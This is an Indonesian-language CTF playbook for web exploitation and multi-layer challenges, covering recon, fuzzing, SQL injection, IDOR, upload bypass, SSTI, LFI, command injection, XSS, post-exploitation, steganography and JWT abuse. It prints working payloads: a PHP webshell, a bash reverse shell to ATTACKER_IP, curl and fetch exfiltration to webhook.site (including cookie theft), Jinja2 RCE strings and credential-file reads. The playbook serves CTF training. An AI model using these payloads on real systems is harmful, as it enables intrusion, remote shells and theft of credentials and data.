π§ CTF Web & Multi-Layer Exploitation Playbook
Fokus: Speed + Pattern Recognition + Multi-Domain Thinking Filosofi: Flag hampir tidak pernah ada di langkah pertama β hampir selalu chain beberapa vulnerability + clue lintas domain.
Core Mindset
MACRO: Find β Break β Pivot β Extract
MICRO: Recon β Surface β Vulnerability β Exploit β Post β DecodeMental Model Utama CTF web bukan linear. Bisa jadi:
- Langsung exploit tanpa recon panjang
- Recon dalam tapi exploit trivial
- Web hanya pintu masuk β inti tantangan di domain lain (stegano, crypto, forensik)
Fase 1 β Recon (Observasi Awal)
Tujuan: Petakan semua yang terlihat sebelum menyentuh apapun.
1.1 Manual Recon
| Target | Cara | Tanda yang Dicari |
|---|---|---|
| Page Source | Ctrl+U atau view-source:URL | Comment HTML, endpoint tersembunyi, path JS |
| JavaScript | DevTools β Sources tab | API key hardcoded, endpoint tersembunyi, logic auth |
| Network Tab | DevTools β Network | Request aneh saat login/upload, header tidak biasa |
| HTTP Header | curl -I URL atau DevTools | Server, framework, cookie flag, security header |
| Cookie | DevTools β Application | JWT? Base64? Session yang bisa dimanipulasi? |
| robots.txt | URL/robots.txt | Path yang sengaja disembunyikan dari crawler |
| sitemap.xml | URL/sitemap.xml | Semua endpoint yang didaftarkan |
# Recon header cepat
curl -I https://target.ctf
# Lihat semua link di halaman
curl -s https://target.ctf | grep -oE 'href="[^"]+"' | sort -u
# Cek JS files
curl -s https://target.ctf | grep -oE 'src="[^"]+\.js"'Pattern Wajib Dicek
- Comment
<!-- debug -->,<!-- TODO: remove -->,<!-- admin panel: /secret -->= hampir selalu clue- JS file yang namanya random (
a1b2c3.js) sering berisi logic penting- Cookie yang base64-encoded = coba decode β cari struktur JSON β coba modifikasi
1.2 Automated Recon
# Whatweb β identifikasi teknologi
whatweb https://target.ctf
# Wappalyzer (browser extension) β fingerprint stack
# Nikto β basic vulnerability scan
nikto -h https://target.ctf
# Gather info dari SSL cert
echo | openssl s_client -connect target.ctf:443 2>/dev/null | openssl x509 -noout -textFase 2 β Surface Discovery (Attack Surface)
Tujuan: Temukan semua endpoint yang tidak terlihat di permukaan.
2.1 Directory & File Fuzzing
# ffuf β paling cepat dan fleksibel
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u https://target.ctf/FUZZ \
-mc 200,301,302,403 \
-t 50
# Dengan ekstensi file
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u https://target.ctf/FUZZ \
-e .php,.html,.txt,.js,.bak,.zip,.old \
-mc 200,301,302,403
# dirsearch β alternatif dengan output lebih rapi
dirsearch -u https://target.ctf -e php,html,txt,js,bak
# gobuster
gobuster dir -u https://target.ctf \
-w /usr/share/wordlists/dirb/big.txt \
-x php,html,txt,bak \
-t 502.2 Target Umum yang Wajib Dicek
/admin β panel admin tersembunyi
/api β endpoint API tidak terdokumentasi
/api/v1/users β IDOR target
/debug β debug info / error detail
/backup β file backup yang tidak dihapus
/.git β source code bocor
/.env β credential environment variable
/config β file konfigurasi
/upload β endpoint upload file
/flag.txt β flag langsung (kadang semudah ini)
/robots.txt β daftar path tersembunyi2.3 Git Repository Leak
# Jika /.git/ accessible
git-dumper https://target.ctf/.git/ ./leaked_repo
# Setelah dump
cd leaked_repo
git log --oneline # lihat commit history
git show HEAD # lihat commit terakhir
git stash list # ada stash?
grep -r "password\|secret\|flag\|key" .Reality Check 80β90% soal CTF web punya endpoint tersembunyi. Jika tidak fuzzing β hampir pasti mentok di sini.
Fase 3 β Vulnerability Discovery & Exploitation
3.1 SQL Injection (SQLi)
Trigger: Form login, search bar, parameter GET/POST ?id=, ?user=, ?category=
-- Test dasar
' OR 1=1--
' OR 'a'='a
" OR 1=1--
admin'--
-- Union-based (cek jumlah kolom dulu)
' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Setelah tahu jumlah kolom (misal 3)
' UNION SELECT 1,2,3--
' UNION SELECT database(),user(),version()--
' UNION SELECT table_name,2,3 FROM information_schema.tables--
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password,3 FROM users--
-- Blind SQLi (waktu-based)
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--# sqlmap β otomatis tapi paham dulu manual
sqlmap -u "https://target.ctf/item?id=1" --dbs
sqlmap -u "https://target.ctf/item?id=1" -D target_db --tables
sqlmap -u "https://target.ctf/item?id=1" -D target_db -T users --dump
# Dengan cookie (jika perlu auth)
sqlmap -u "https://target.ctf/dashboard" \
--cookie="session=abc123" \
--dbs3.2 IDOR (Insecure Direct Object Reference)
Trigger: Parameter ?id=, ?user_id=, ?file=, /api/user/5
Langkah:
1. Login sebagai user biasa
2. Catat ID kamu (misal: id=42)
3. Ganti ke: id=1, id=2, id=3, ...
4. Cari response berbeda β terutama user admin (id=1 hampir selalu admin)
Variasi:
- Integer: ?id=1,2,3
- UUID: susah di-brute, cari bocoran di endpoint lain
- Encoded: base64, hash MD5 (coba decode/crack)
Contoh endpoint yang sering IDOR:
/api/user/1/profile
/api/order/1234
/download?file_id=1
/invoice/00001.pdf# Brute IDOR dengan ffuf
ffuf -w numbers.txt \
-u https://target.ctf/api/user/FUZZ \
-H "Cookie: session=YOUR_TOKEN" \
-mc 2003.3 File Upload Bypass β RCE
Trigger: Form upload yang cuma validasi di client-side atau cek extension saja.
Teknik bypass:
1. Rename: shell.php β shell.php.jpg
2. Double extension: shell.jpg.php
3. Null byte: shell.php%00.jpg
4. Case: shell.PHP, shell.pHp
5. Content-Type spoof: ubah di Burp dari application/x-php ke image/jpeg
6. Magic bytes: tambahkan GIF89a; di awal file PHP
7. Alternatif ekstensi: .phtml .phar .php3 .php5
Payload webshell minimal (PHP):
<?php system($_GET['cmd']); ?>
Test setelah upload:
https://target.ctf/uploads/shell.php?cmd=id
https://target.ctf/uploads/shell.php?cmd=cat+/flag.txt
https://target.ctf/uploads/shell.php?cmd=cat+/etc/passwd# Reverse shell dari webshell
# Di attacker: siapkan listener
nc -lvnp 4444
# Di webshell (URL encode dulu)
?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'3.4 SSTI (Server-Side Template Injection)
Trigger: Input yang langsung dirender di template (nama, pesan, subject email)
Test detection β kirim ini ke semua input:
{{7*7}} β output 49? β Jinja2/Twig
${7*7} β output 49? β FreeMarker/Thymeleaf
<%= 7*7 %> β output 49? β ERB (Ruby)
#{7*7} β output 49? β Ruby interpolation
*{7*7} β output 49? β Thymeleaf
Jika Jinja2 (Python/Flask):
{{config}} β dump config
{{self.__init__.__globals__}} β global vars
{{''.__class__.__mro__[1].__subclasses__()}} β list subclasses
RCE via Jinja2:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read() }}3.5 LFI (Local File Inclusion)
Trigger: Parameter ?file=, ?page=, ?template=, ?path=
Payload dasar:
../../../../etc/passwd
../../../etc/passwd
....//....//....//etc/passwd (bypass filter ../)
%2e%2e%2f%2e%2e%2fetc%2fpasswd (URL encoded)
/etc/passwd%00 (null byte bypass β PHP lama)
Target file menarik:
/etc/passwd β user list, cari home directory
/etc/shadow β hash password (butuh root)
/var/www/html/config.php β credential database
/var/log/apache2/access.log β log poisoning
/proc/self/environ β environment variable
/flag.txt, /flag, /root/flag.txt β langsung cek
Log Poisoning (LFI β RCE):
1. Inject PHP code ke User-Agent:
User-Agent: <?php system($_GET['cmd']); ?>
2. Include log:
?page=../../../../var/log/apache2/access.log&cmd=id3.6 Command Injection
Trigger: Input yang dieksekusi di sistem (ping, nslookup, convert, dll)
# Separator yang bisa dicoba
; id
&& id
|| id
| id
`id`
$(id)
# Jika ada filter spasi
{id}
;$IFS;id
# Blind (tidak ada output) β kirim ke server sendiri
; curl https://webhook.site/YOUR_ID?c=$(id)
; ping -c1 ATTACKER_IP
# Target file
; cat /flag.txt
; ls /
; cat /etc/passwd3.7 XSS (Cross-Site Scripting)
Trigger: Input yang direfleksikan ke halaman (nama, comment, search)
<!-- Reflected XSS test -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload="alert(1)">
javascript:alert(1)
<!-- Bypass filter -->
<ScRiPt>alert(1)</ScRiPt>
<script>
alert`1`
</script>
<
<script>
alert(1) //<
</script>
<!-- Steal cookie (jika tidak HttpOnly) -->
<script>
fetch("https://webhook.site/ID?c=" + document.cookie)
</script>
<!-- Stored XSS untuk admin bot -->
<script>
fetch("/admin/flag")
.then((r) => r.text())
.then((t) => fetch("https://webhook.site/ID?f=" + btoa(t)))
</script>
</svg>Fase 4 β Post Exploitation
4.1 Apa yang Dicari Setelah Masuk
# Shell dapat β orientasi dulu
id && whoami
pwd
ls -la /
ls -la /home/
ls -la /var/www/html/
cat /etc/passwd
# Cari flag
find / -name "flag*" 2>/dev/null
find / -name "*.txt" 2>/dev/null | head -20
ls /root/ 2>/dev/null
ls /home/*/
# Cari credential
find / -name "*.env" 2>/dev/null
find / -name "config.php" 2>/dev/null
grep -r "password\|secret\|key\|flag" /var/www/ 2>/dev/null
# Database
cat /var/www/html/config.php # credential DB
mysql -u root -p # atau pakai credential yang ditemukanInsight Penting Login bukan goal β login adalah entry point. Credential yang ditemukan setelah masuk sering dipakai untuk pivot ke sistem/user lain.
Fase 5 β Steganografi & Encoding
5.1 Audio Steganography
Tools: Audacity, Sonic Visualiser, DeepSound, mp3stego
Checklist audio CTF:
1. Buka di Audacity β lihat waveform normal dulu
2. Analyze β Plot Spectrum β cari pattern aneh di frekuensi tinggi
3. View β Spectrogram β ini yang paling sering berisi clue (morse, teks, QR)
4. Reverse audio β Play β dengarkan terbalik
5. Ubah speed β ada pesan tersembunyi di speed berbeda?
6. Cek metadata: exiftool audio.mp3
Tools CLI:
steghide extract -sf audio.mp3 # coba extract tanpa passphrase
stegseek audio.mp3 wordlist.txt # brute force passphrasePattern Audio CTF Spectrogram hampir SELALU berisi sesuatu di CTF. Jika file audio diberikan, spectrogram adalah langkah pertama setelah dengarkan.
5.2 Image Steganography
# Metadata
exiftool image.png
exiftool image.jpg | grep -i "comment\|description\|flag"
# String tersembunyi
strings image.png | grep -i "flag\|ctf\|key"
strings image.jpg | grep -v "^[^a-zA-Z]*$" | head -50
# LSB steganography
zsteg image.png # detect otomatis
zsteg -a image.png # coba semua metode
steghide extract -sf image.jpg
stegsolve image.png # GUI, lihat bit planes berbeda
# Binwalk β file tersembunyi dalam file
binwalk image.png
binwalk -e image.png # ekstrak otomatis
# File signature check
file image.png # cek apakah benar PNG
xxd image.png | head -5 # cek magic bytes5.3 Encoding Detection & Decode
Cara cepat identifikasi encoding:
Base64: karakter A-Z, a-z, 0-9, +, /, diakhiri =
β echo "dGVzdA==" | base64 -d
Base32: huruf kapital A-Z dan 2-7
β echo "ORSXG5A=" | base32 -d
Hex: hanya 0-9 dan a-f, panjang genap
β echo "74657374" | xxd -r -p
ROT13: hanya huruf, coba rot13.com
Morse: hanya titik, strip, spasi
β pakai dcode.fr/morse-code
Binary: hanya 0 dan 1, biasanya per 8 bit
β python3: int('01110100',2) β chr()
URL encode: %XX β decode di browser atau:
β python3: urllib.parse.unquote('%74%65%73%74')# Swiss army knife decode Python
import base64, binascii
# Auto detect dan decode
text = "dGVzdA=="
try:
print("B64:", base64.b64decode(text).decode())
except: pass
try:
print("Hex:", bytes.fromhex(text).decode())
except: pass
try:
print("B32:", base64.b32decode(text).decode())
except: pass5.4 Zero-Width Character
Ciri: Teks terlihat kosong atau normal, tapi ukuran file/string tidak nol.
# Detect zero-width
text = "terlihat normal tapi ada yang tersembunyi"
for i, c in enumerate(text):
if ord(c) in [0x200B, 0x200C, 0x200D, 0xFEFF, 0x2060]:
print(f"Zero-width di posisi {i}: U+{ord(c):04X}")
# Extract binary dari zero-width
# Zero-width space (U+200B) = 0, Zero-width non-joiner (U+200C) = 1
binary = ""
for c in text:
if ord(c) == 0x200B:
binary += "0"
elif ord(c) == 0x200C:
binary += "1"
if binary:
# Konversi binary ke teks
chars = [binary[i:i+8] for i in range(0, len(binary), 8)]
decoded = ''.join(chr(int(b, 2)) for b in chars if b)
print("Hidden:", decoded)Jebakan Zero-Width Banyak orang skip ini karena "kelihatan kosong". Copy paste teks ke hex editor atau Python β kalau panjang string tidak sesuai yang terlihat = ada zero-width.
One-Time Link & Token Abuse
Ciri: Link yang hanya bisa diakses sekali, token di URL, link yang expire.
Strategi:
1. JANGAN langsung klik β siapkan Burp Suite intercept dulu
2. Klik β intercept β simpan seluruh response sebelum forward
3. Coba replay token yang sama β apakah bisa dipakai ulang?
4. Coba manipulasi token (decode JWT, ubah payload, re-sign)
JWT Manipulation:
1. Decode: jwt.io atau python-jwt
2. Coba alg:none attack:
{"alg":"none","typ":"JWT"}
β hapus signature, server mungkin terima
3. Coba brute force secret:
hashcat -a 0 -m 16500 token.jwt wordlist.txt
4. Coba RS256 β HS256 confusion attackMulti-Layer Chain β Real Case
Breakdown Chain Lengkap
[ENTRY]
Upload bypass (validasi hanya cek ekstensi di client-side)
β
βΌ
[LAYER 1 β Web]
Webshell uploaded β RCE
β
βΌ
[LAYER 2 β System]
Reverse shell β file discovery di server
β
βΌ
[LAYER 3 β Forensics]
Temukan file audio tersembunyi
β
βΌ
[LAYER 4 β Steganography]
Spectrogram audio β pesan morse tersembunyi
β
βΌ
[LAYER 5 β Encoding]
Decode morse β URL one-time link
β
βΌ
[LAYER 6 β Logic]
Intercept one-time link β response berisi teks aneh
β
βΌ
[LAYER 7 β Zero-Width]
Decode zero-width character β FLAG| Layer | Domain | Teknik | Tools |
|---|---|---|---|
| Upload | Web | Bypass validasi ekstensi | Burp Suite |
| Shell | System | Reverse shell | nc, bash |
| File | Forensics | Discovery | find, ls |
| Audio | Stegano | Spectrogram analysis | Audacity |
| Morse | Encoding | Decode morse | dcode.fr |
| Link | Web | One-time token intercept | Burp Suite |
| Zero-width | Encoding | Hidden char extraction | Python |
Insight Penting Ini bukan "web challenge" β ini multi-domain pipeline. Jika stuck di satu layer, coba domain yang berbeda.
Pattern Recognition β Wajib Hafal
| Lihat ini | Langsung pikir | Aksi pertama |
|---|---|---|
| Form login | SQLi | ' OR 1=1-- |
?id=5 | IDOR | Ganti ke ?id=1 |
?file=page.php | LFI | ?file=../../../../etc/passwd |
| Form upload | RCE | Upload webshell PHP |
| Input yang dirender | SSTI | {{7*7}} |
| Input di URL/header | XSS | <script>alert(1)</script> |
| Input ke sistem | CMDi | ; id |
| File audio di challenge | Stegano | Buka spectrogram Audacity |
| File gambar | Stegano | binwalk, strings, zsteg |
| Teks aneh | Encoding | Cek base64, hex, rot13 |
| Teks βkosongβ | Zero-width | Python ord() check |
| JWT cookie | Token abuse | jwt.io decode β coba alg:none |
/.git accessible | Source leak | git-dumper |
Team Strategy (CTF)
| Role | Tanggung Jawab | Tools Utama |
|---|---|---|
| Web | Recon, fuzzing, exploit | Burp Suite, ffuf, sqlmap |
| Stegano | Analisis file audio/gambar | Audacity, zsteg, binwalk |
| Decoder | Encoding, crypto, cipher | CyberChef, dcode.fr, Python |
| Reversing | Binary analysis, decompile | Ghidra, gdb, pwndbg |
| Integrator | Gabung semua temuan, koordinasi | β |
Kunci Tim Jangan semua orang kerjakan hal yang sama. Jika stuck lebih dari 20 menit di satu arah β switch ke domain lain atau minta fresh eyes dari teammate.
Common Mistakes
1. Terlalu Linear CTF tidak selalu: recon β exploit β selesai. Kadang exploit trivial ada di menit pertama, kadang butuh chain 7 layer.
2. Overthinking Banyak soal sebenarnya sederhana tapi terlihat kompleks karena panik. Selalu coba payload paling basic dulu sebelum yang kompleks.
3. Skip Hal Aneh Clue kecil = kunci utama. Comment HTML, file ukuran ganjil, response time yang berbeda, karakter yang tidak terbaca β semua ini signal.
4. Tools Otomatis Tanpa Paham Konteks sqlmap dan tools otomatis lain sering noisy, lambat, dan kadang gagal karena tidak adaptif terhadap WAF atau konteks spesifik. Pahami payload manual dulu.
Checklist Evaluasi Setelah CTF
Setiap challenge yang selesai (atau gagal) β tulis ini:
Challenge: [nama]
Category: [web/stegano/crypto/misc]
Chain yang ditemukan:
1. ...
2. ...
Teknik baru yang dipelajari:
- ...
Clue yang hampir terlewat:
- ...
Waktu yang terbuang di mana:
- ...
Pattern yang bisa dihafal untuk next time:
- Jika lihat X β langsung coba YKenapa Writeup Penting Writeup bukan formalitas β itu proses ekstraksi pattern dari pengalaman. Yang membuat seseorang naik level cepat adalah kemampuan mengubah pengalaman spesifik menjadi reflex umum.
Tools Quick Reference
# Web
ffuf / dirsearch / gobuster β directory fuzzing
sqlmap β SQL injection otomatis
Burp Suite β intercept, replay, manipulasi
# Stegano
binwalk -e file β ekstrak file tersembunyi
strings file β ekstrak teks readable
exiftool file β metadata
zsteg image.png β LSB stegano detection
steghide extract -sf file β extract dengan passphrase
stegseek file wordlist β brute force steghide
# Encoding
CyberChef (web) β swiss army decode
dcode.fr (web) β cipher identification
python3 -c "import base64..." β decode cepat di terminal
# Reverse Shell
nc -lvnp 4444 β listener
bash -i >& /dev/tcp/IP/4444 0>&1 β reverse shell bash
# Misc
jwt.io β decode/encode JWT
webhook.site β receive data exfil
ngrok β expose localhostπ₯ Final Mental Model
SYSTEM THINKING:
Input (web)
β transform (file)
β hidden (steg)
β encoded (text)
β output (flag)π Latihan Cepat
Kalau lihat ini:
/profile?id=5Langsung pikir:
IDOR β coba 1,2,3,4π₯ Penutup
Lu sudah:
- bisa notice hal aneh βοΈ
- sudah pernah chain multi-layer βοΈ
Yang perlu sekarang:
- struktur berpikir
- pattern recognition
- kecepatan eksekusi
π Lihat Juga
- underground-knowledge β Cheat Engine & teknik bypass yang overlap
- hardware-hacking-re β Reverse engineering binary untuk CTF kategori RE
- cryptography-biometrics β Dasar kriptografi untuk CTF crypto
- ai-evaluation-framework β Mindset evaluasi sistematis yang berlaku juga di CTF
CTF Web & Multi-Layer Exploitation Playbook | Recon β Exploit β Stegano β Decode β FLAG